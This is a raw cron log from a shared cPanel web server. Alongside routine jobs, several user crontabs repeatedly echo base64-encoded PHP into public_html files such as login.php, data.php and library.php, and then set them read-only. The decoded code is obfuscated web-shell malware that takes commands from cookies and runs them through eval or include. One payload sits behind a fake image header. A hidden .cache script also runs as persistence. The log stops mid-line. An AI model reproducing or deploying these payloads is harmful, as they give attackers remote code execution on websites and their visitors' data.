Mar  1 09:46:01 medusa CROND[17459]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:46:01 medusa CROND[17460]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:46:01 medusa CROND[17461]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:46:01 medusa CROND[17456]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 09:46:01 medusa CROND[17464]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:46:01 medusa CROND[17465]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:46:01 medusa CROND[17466]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:46:01 medusa CROND[17467]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:47:02 medusa CROND[6482]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:47:02 medusa CROND[6483]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 09:47:02 medusa CROND[6484]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:47:02 medusa CROND[6485]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:47:02 medusa CROND[6486]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:47:02 medusa CROND[6488]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:47:02 medusa CROND[6490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:47:02 medusa CROND[6491]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:47:02 medusa CROND[6494]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:47:02 medusa CROND[6500]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:47:02 medusa CROND[6504]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:47:02 medusa CROND[6503]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 09:47:02 medusa CROND[6510]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:48:01 medusa CROND[27950]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:48:02 medusa CROND[28004]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 09:48:02 medusa CROND[28005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:48:02 medusa CROND[28008]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:48:02 medusa CROND[28009]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:48:02 medusa CROND[28010]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoM